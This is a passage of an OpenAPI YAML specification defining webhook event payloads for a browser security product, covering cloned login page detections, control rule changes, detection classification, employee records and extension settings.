                object:
                  type: string
                  enum:
                    - BROWSER_EXTENSION_BLOCKED
                    - BROWSER_EXTENSION_ENABLED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Browser extension blocked
                new:
                  $ref: '#/components/schemas/BrowserExtensionStateEnforcementEvent'
                  description: Browser extension state enforcement event details.
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Events
        - Controls
  cloned-login-page-detected:
    post:
      summary: Cloned login page detected
      operationId: cloned-login-page-detected-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        description: A cloned login page detected event occurred.
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - CONTROL
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: >-
                    john@company.com visited https://evil.com/okta.php which is
                    a clone of a Okta login page
                object:
                  type: string
                  enum:
                    - CLONED_LOGIN_PAGE_DETECTED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Cloned login page detected
                new:
                  $ref: '#/components/schemas/ClonedLoginPageDetectedEvent'
                  description: Cloned login page detected event details.
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Controls
        - Cloned Login Page Detection
  cloned-login-page-detection-ignored-domains-added:
    post:
      summary: Cloned login page detection ignored domains added
      description: >-
        A set of domains have been added to the list of ignored domains for the
        Cloned login page detection feature.
      operationId: cloned-login-page-detection-ignored-domains-added-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com added ignored domains
                object:
                  type: string
                  enum:
                    - CLONED_LOGIN_PAGE_DETECTION_IGNORED_DOMAINS_ADDED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Cloned Login Page Detection ignored domains added
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that added the domains.
                new:
                  type: object
                  properties:
                    domains:
                      type: array
                      items:
                        type: string
                      description: A list of the added domains.
                  required:
                    - domains
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  cloned-login-page-detection-ignored-domains-removed:
    post:
      summary: Cloned login page detection ignored domains removed
      description: >-
        A set of domains have been removed from the list of ignored domains for
        the Cloned login page detection feature.
      operationId: cloned-login-page-detection-ignored-domains-removed-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com removed ignored domains
                object:
                  type: string
                  enum:
                    - CLONED_LOGIN_PAGE_DETECTION_IGNORED_DOMAINS_REMOVED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Cloned Login Page Detection ignored domains removed
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that removed the domains.
                new:
                  type: object
                  properties:
                    domains:
                      type: array
                      items:
                        type: string
                      description: A list of the removed domains.
                  required:
                    - domains
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  control-rule-added:
    post:
      summary: Control rule added
      description: An admin user has added a new control rule.
      operationId: control-rule-added-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                object:
                  type: string
                  enum:
                    - CONTROL_RULE_ADDED
                  description: The type of event.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Control rule added
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com added a control rule
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  description: The details of the updated rule.
                  allOf:
                    - $ref: '#/components/schemas/ControlRule'
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - friendlyName
                - description
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  control-rule-updated:
    post:
      summary: Control rule updated
      description: An admin user has updated a control rule.
      operationId: control-rule-updated-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                object:
                  type: string
                  enum:
                    - CONTROL_RULE_UPDATED
                  description: The type of event.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Control rule updated
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com updated a control rule
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  description: The current details of the updated rule.
                  allOf:
                    - $ref: '#/components/schemas/ControlRule'
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - friendlyName
                - description
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  control-rule-removed:
    post:
      summary: Control rule removed
      description: An admin user has removed a control rule.
      operationId: control-rule-removed-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                object:
                  type: string
                  enum:
                    - CONTROL_RULE_REMOVED
                  description: The type of event.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Control rule removed
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com removed a control rule
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  description: The details of the removed rule.
                  allOf:
                    - $ref: '#/components/schemas/ControlRule'
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - friendlyName
                - description
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  control-rule-toggled:
    post:
      summary: Control rule toggled
      description: An admin user has enabled or disabled a control rule.
      operationId: control-rule-toggled-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                object:
                  type: string
                  enum:
                    - CONTROL_RULE_TOGGLED
                  description: The type of event.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Control rule toggled
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com enabled/disabled a control rule
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  description: The details of the enabled/disabled rule.
                  allOf:
                    - $ref: '#/components/schemas/ControlRule'
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - friendlyName
                - description
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  control-rule-reordered:
    post:
      summary: Control rule reordered
      description: An admin user has reordered a new control rule.
      operationId: control-rule-reordered-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                object:
                  type: string
                  enum:
                    - CONTROL_RULE_REORDERED
                  description: The type of event.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Control rule reordered
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com reordered the control configuration rules
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  type: object
                  properties:
                    reorderedRule:
                      description: The details of the reordered rule.
                      allOf:
                        - $ref: '#/components/schemas/ControlRule'
                    previousRuleId:
                      type: string
                      format: uuid
                      nullable: true
                      description: >-
                        The unique identifier of the rule immediately before in
                        precedence order. If null, the rule is now the first in
                        the list.
                      example: c478966c-f927-411c-b919-179832d3d50c
                    nextRuleId:
                      type: string
                      format: uuid
                      nullable: true
                      description: >-
                        The unique identifier of the rule immediately after in
                        precedence order. If null, the rule is now the last in
                        the list.
                      example: c478966c-f927-411c-b919-179832d3d50c
                  required:
                    - reorderedRule
                    - previousRuleId
                    - nextRuleId
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - friendlyName
                - description
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  custom-login-url-added:
    post:
      summary: Custom login URL added
      description: A custom login URL has been added for an app.
      operationId: custom-login-url-added-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example added a custom login URL for Google Workspace
                object:
                  type: string
                  enum:
                    - CUSTOM_LOGIN_URL_ADDED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Custom login URL added
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that added the domains.
                new:
                  type: object
                  properties:
                    app:
                      type: string
                      description: The app for which the custom login URL was added.
                    url:
                      type: string
                      description: The custom login URL that was added.
                  required:
                    - app
                    - url
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  custom-login-url-removed:
    post:
      summary: Custom login URL removed
      description: A custom login URL has been removed for an app.
      operationId: custom-login-url-removed-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example removed a custom login URL for Google Workspace
                object:
                  type: string
                  enum:
                    - CUSTOM_LOGIN_URL_REMOVED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Custom login URL removed
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that added the domains.
                new:
                  type: object
                  properties:
                    app:
                      type: string
                      description: The app for which the custom login URL was removed.
                  required:
                    - app
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  data-retention-configuration-updated:
    post:
      summary: Data retention configuration updated
      description: An admin user updated the data retention configuration.
      operationId: data-retention-configuration-updated-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >
                    The description of the event.


                    Note: this is subject to change and should not be used to
                    match on this object.
                  example: user@example.com enabled data retention for 12 months
                object:
                  type: string
                  enum:
                    - DATA_RETENTION_CONFIGURATION_UPDATED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >
                    The friendly name of this object.


                    Note: this is subject to change and should not be used to
                    match on this object.
                  example: Data retention configuration updated
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the user that performed the action.
                new:
                  type: object
                  properties:
                    retentionPeriod:
                      type: object
                      nullable: true
                      description: >-
                        The retention period in months. This will be null if the
                        data retention feature is disabled.
                  required:
                    - retentionPeriod
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  detection-archived:
    post:
      summary: Detection archive status updated
      description: The archive status of a detection has been updated
      operationId: detection-archive-status-updated-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com archived a detection
                object:
                  type: string
                  enum:
                    - DETECTION_ARCHIVED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Detection archived
                actor:
                  oneOf:
                    - $ref: '#/components/schemas/AdminAuditLogActor'
                    - $ref: '#/components/schemas/AdminAuditLogActorAPI'
                new:
                  type: object
                  properties:
                    id:
                      type: string
                      description: The ID of the detection.
                      example: 2a2197de-ad2c-47e4-8dcb-fb0f04cf83e0
                    archived:
                      type: boolean
                      description: The archive status of the detection.
                      example: true
                  required:
                    - id
                    - archived
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  detection-classification-updated:
    post:
      summary: Detection classification updated
      description: The classification of a detection has been updated
      operationId: detection-classification-updated-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com updated the classification of a detection
                object:
                  type: string
                  enum:
                    - DETECTION_CLASSIFICATION_UPDATED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Detection classification updated
                actor:
                  oneOf:
                    - $ref: '#/components/schemas/AdminAuditLogActor'
                    - $ref: '#/components/schemas/AdminAuditLogActorAPI'
                new:
                  type: object
                  properties:
                    id:
                      type: string
                      description: The ID of the detection.
                      example: 2a2197de-ad2c-47e4-8dcb-fb0f04cf83e0
                    classification:
                      type: string
                      nullable: true
                      enum:
                        - TRUE_POSITIVE
                        - BENIGN_TRUE_POSITIVE
                        - FALSE_POSITIVE
                      description: The classification of the detection.
                      example: FALSE_POSITIVE
                  required:
                    - id
                    - classification
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  detection-screenshots-toggled:
    post:
      summary: Detection screenshots toggled
      description: An admin user has enabled or disabled detection screenshots.
      operationId: detection-screenshots-toggled-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                object:
                  type: string
                  enum:
                    - DETECTION_SCREENSHOTS_TOGGLED
                  description: The type of event.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Detection screenshots toggled
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example toggled detection screenshots to True
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  type: object
                  properties:
                    enabled:
                      type: boolean
                      description: >-
                        Whether the "Detection screenshots" setting is enabled
                        or not.
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - friendlyName
                - description
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  domain-enrichment-toggled:
    post:
      summary: Domain enrichment toggled
      description: An admin user has enabled or disabled domain enrichment.
      operationId: domain-enrichment-toggled-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                object:
                  type: string
                  enum:
                    - DOMAIN_ENRICHMENT_TOGGLED
                  description: The type of event.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: domain enrichment toggled
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com toggled domain enrichment to True
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  type: object
                  properties:
                    enabled:
                      type: boolean
                      description: >-
                        Whether the domain enrichment setting was set to enabled
                        or not.
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - friendlyName
                - description
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  employee:
    post:
      summary: Employee
      operationId: employee-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        description: An employee was created, updated or deleted.
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                type:
                  type: string
                  enum:
                    - CREATE
                    - UPDATE
                    - DELETE
                  description: The type of event that occurred.
                category:
                  type: string
                  enum:
                    - ENTITY
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: employee@example.com added
                object:
                  type: string
                  enum:
                    - EMPLOYEE
                  description: The object that was created, updated or deleted.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Employee
                new:
                  $ref: '#/components/schemas/EmployeeEvent'
                  description: >-
                    The new state of the object. This is `null` when the event
                    type is `DELETE`.
                old:
                  $ref: '#/components/schemas/EmployeeEvent'
                  description: >-
                    The previous state of the object. This is `null` when the
                    event type is `CREATE`.
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Events
        - Entities
  employee-added-to-group:
    post:
      summary: Employees added to group
      description: An admin user has added one or more employees to a group.
      operationId: employees-added-to-group-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com added employees to the group Engineers
                object:
                  type: string
                  enum:
                    - EMPLOYEE_ADDED_TO_GROUP
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Employees added to group
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  type: object
                  properties:
                    group:
                      type: string
                      description: The name of the group.
                    employeeIds:
                      type: array
                      items:
                        type: string
                      description: The IDs of the employees added to the group.
                  required:
                    - group
                    - employeeIds
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  employee-disabled-extension:
    post:
      summary: Employee disabled extension
      description: >-
        An employee has temporarily disabled the Push extension for a specific
        domain.
      operationId: employee-disabled-extension-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: >-
                    user@example.com temporarily disabled the Push extension on
                    domain some-domain.com.
                object:
                  type: string
                  enum:
                    - EMPLOYEE_DISABLED_EXTENSION
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Employee disabled extension
                actor:
                  type: object
                  $ref: '#/components/schemas/AdminAuditLogActorEmployee'
                new:
                  type: object
                  properties:
                    browserId:
                      type: string
                      description: The identifier of the employee's Push extension.
                    domain:
                      type: string
                      description: The domain for which the extension was disabled.
                    disabledUntilTimestamp:
                      type: integer
                      description: >-
                        The timestamp when the extension will be re-enabled on
                        the specified domain, formatted as a UNIX timestamp (in
                        seconds).
                  required:
                    - browserId
                    - domain
                    - disabledUntilTimestamp
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  excluded-extension-domains-added:
    post:
      summary: Excluded extension domains added
      description: >-
        A set of domains have been added to the list of excluded browser
        extension domains to monitor.
      operationId: excluded-extension-domains-added-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
